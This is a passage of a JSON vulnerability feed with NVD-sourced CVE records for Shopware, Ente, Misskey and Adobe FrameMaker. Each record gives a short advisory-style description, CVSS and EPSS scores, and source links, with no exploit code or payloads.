2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105003&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105003, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104937","cveId":"CVE-2026-104937","aliases":[],"kind":"vulnerability","title":"Shopware version 6.7 allows the upload of attacker‑controlled HTML files and serves them as text/html without effective security headers, enabling stored cross-site scripting...","summary":"Shopware version 6.7 allows the upload of attacker‑controlled HTML files and serves them as text/html without effective security headers, enabling stored cross-site scripting (XSS). When a malicious uploaded file containing an embedded JavaScript payload is viewed by an administrator, the attacker can access and exfiltrate the administrator's authentication token.\r\n\r\nThe compromised token enables unauthorized access to the Shopware Administration API. If the affected administrator account possesses extension‑management privileges, an attacker can upload, install, and activate malicious plugins to achieve arbitrary PHP code execution on the underlying OS with the privileges of the Shopware process.","detail":"Shopware version 6.7 allows the upload of attacker‑controlled HTML files and serves them as text/html without effective security headers, enabling stored cross-site scripting (XSS). When a malicious uploaded file containing an embedded JavaScript payload is viewed by an administrator, the attacker can access and exfiltrate the administrator's authentication token.\r\n\r\nThe compromised token enables unauthorized access to the Shopware Administration API. If the affected administrator account possesses extension‑management privileges, an attacker can upload, install, and activate malicious plugins to achieve arbitrary PHP code execution on the underlying OS with the privileges of the Shopware process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:56.030Z","updatedAt":"2026-10-20T17:17:27.693Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104937","asOf":"2026-10-20T17:17:27.693Z"},"epss":{"probability":0.00593,"percentile":0.48068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104937&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104937","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104937","type":"primary","publishedAt":"2026-10-13T19:17:56.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104937&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104937, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104875","cveId":"CVE-2026-104875","aliases":[],"kind":"vulnerability","title":"Ente provides end-to-end encrypted cloud services and security tools.","summary":"Ente provides end-to-end encrypted cloud services and security tools. Prior to server image 2026.07.09, the POST /emergency-contacts/approve-recovery endpoint authorized approval using a client-supplied userID and updated an emergency recovery session using only its client-supplied recovery-session UUID. An accepted emergency contact could submit the contact's own identifier, transition the victim's session from WAITING to READY, clear wait_till, retrieve recovery information, and continue account recovery before the owner-configured notice period expired. Exploitation of the approval bypass required the victim to have previously added and accepted the attacker as an emergency contact, and it did not create recovery rights for an arbitrary account. Separately, the same insufficiently scoped update pattern affected the reject and stop recovery transitions, allowing a user who knew another recovery-session UUID to potentially cancel a session to which the user was not a party. This issue is fixed in server image 2026.07.09.","detail":"Ente provides end-to-end encrypted cloud services and security tools. Prior to server image 2026.07.09, the POST /emergency-contacts/approve-recovery endpoint authorized approval using a client-supplied userID and updated an emergency recovery session using only its client-supplied recovery-session UUID. An accepted emergency contact could submit the contact's own identifier, transition the victim's session from WAITING to READY, clear wait_till, retrieve recovery information, and continue account recovery before the owner-configured notice period expired. Exploitation of the approval bypass required the victim to have previously added and accepted the attacker as an emergency contact, and it did not create recovery rights for an arbitrary account. Separately, the same insufficiently scoped update pattern affected the reject and stop recovery transitions, allowing a user who knew another recovery-session UUID to potentially cancel a session to which the user was not a party. This issue is fixed in server image 2026.07.09.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:55.863Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104875","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00348,"percentile":0.28162,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104875&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104875","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104875","type":"primary","publishedAt":"2026-10-13T19:17:55.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104875&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104875, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104817","cveId":"CVE-2026-104817","aliases":[],"kind":"vulnerability","title":"Misskey is an open source, federated social media platform.","summary":"Misskey is an open source, federated social media platform. From 12.112.1 until 2026.7.0, the unauthenticated fetch-rss API lacks rate limiting and response-size restrictions and performs synchronous XML parsing. An attacker can trigger unbounded outbound HTTP requests and synchronous parsing, exhausting instance resources, amplifying requests toward third-party servers, or probing network-reachable services even when federation is disabled. This issue is fixed in version 2026.7.0.","detail":"Misskey is an open source, federated social media platform. From 12.112.1 until 2026.7.0, the unauthenticated fetch-rss API lacks rate limiting and response-size restrictions and performs synchronous XML parsing. An attacker can trigger unbounded outbound HTTP requests and synchronous parsing, exhausting instance resources, amplifying requests toward third-party servers, or probing network-reachable services even when federation is disabled. This issue is fixed in version 2026.7.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:55.697Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104817","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.0046,"percentile":0.39555,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104817&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104817","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104817","type":"primary","publishedAt":"2026-10-13T19:17:55.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104817&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104817, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104816","cveId":"CVE-2026-104816","aliases":[],"kind":"vulnerability","title":"Misskey is an open source, federated social media platform.","summary":"Misskey is an open source, federated social media platform. From 12.0.0 until 2026.7.0, the RSS components display feed item links from configured feeds without verifying their URL schemes. Missing URL scheme verification allows an attacker who controls feed content to provide an unsafe-scheme link that causes script execution when a user clicks it in an RSS widget. This issue is fixed in version 2026.7.0.","detail":"Misskey is an open source, federated social media platform. From 12.0.0 until 2026.7.0, the RSS components display feed item links from configured feeds without verifying their URL schemes. Missing URL scheme verification allows an attacker who controls feed content to provide an unsafe-scheme link that causes script execution when a user clicks it in an RSS widget. This issue is fixed in version 2026.7.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:55.547Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104816","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.0063,"percentile":0.4991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104816&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104816","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104816","type":"primary","publishedAt":"2026-10-13T19:17:55.547Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104816&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104816, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104344","cveId":"CVE-2026-104344","aliases":[],"kind":"vulnerability","title":"Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:55.290Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104344","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00245,"percentile":0.15527,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104344&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104344","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104344","type":"primary","publishedAt":"2026-10-13T19:17:55.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104344&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104344, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104342","cveId":"CVE-2026-104342","aliases":[],"kind":"vulnerability","title":"Adobe Framemaker is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Framemaker is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Adobe Framemaker is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:55.047Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104342","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00374,"percentile":0.31061,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104342&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104342","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104342","type":"primary","publishedAt":"2026-10-13T19:17:55.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104342&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104342, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104341","cveId":"CVE-2026-104341","aliases":[],"kind":"vulnerability","title":"Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:54.920Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104341","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00198,"percentile":0.09543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104341&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104341","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104341","type":"primary","publishedAt":"2026-10-13T19:17:54.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104341&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104341, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104340","cveId":"CVE-2026-104340","aliases":[],"kind":"vulnerability","title":"Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:54.797Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104340","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00245,"percentile":0.15528,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104340&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104340","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104340","type":"primary","publishedAt":"2026-10-13T19:17:54.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104340&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104340, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103967","cveId":"CVE-2026-103967","aliases":[],"kind":"vulnerability","title":"Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:54.663Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103967","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00198,"percentile":0.09544,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103967&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103967","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103967","type":"primary","publishedAt":"2026-10-13T19:17:54.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103967&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103967, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103966","cveId":"CVE-2026-103966","aliases":[],"kind":"vulnerability","title":"Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:54.537Z","updatedAt":"2026-10-14T15:50:50.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103966","asOf":"2026-10-14T15:50:50.180Z"},"epss":{"probability":0.00187,"percentile":0.0819,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103966&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103966","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103966","type":"primary","publishedAt":"2026-10-13T19:17:54.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103966&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103966, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103937","cveId":"CVE-2026-103937","aliases":[],"kind":"vulnerability","title":"Misskey is an open source, federated social media platform.","summary":"Misskey is an open source, federated social media platform. From 13.0.0 until 2025.4.1 and from 2025.5.0 until 2026.7.0, cleanup processing may not execute during file uploads. Repeated uploads can exhaust storage or file descriptors and deny service regardless of whether federation is enabled. This issue is fixed in version 2026.7.0.","detail":"Misskey is an open source, federated social media platform. From 13.0.0 until 2025.4.1 and from 2025.5.0 until 2026.7.0, cleanup processing may not execute during file uploads. Repeated uploads can exhaust storage or file descriptors and deny service regardless of whether federation is enabled. This issue is fixed in version 2026.7.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:54.387Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103937","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00501,"percentile":0.42637,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103937&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103937","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103937","type":"primary","publishedAt":"2026-10-13T19:17:54.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not 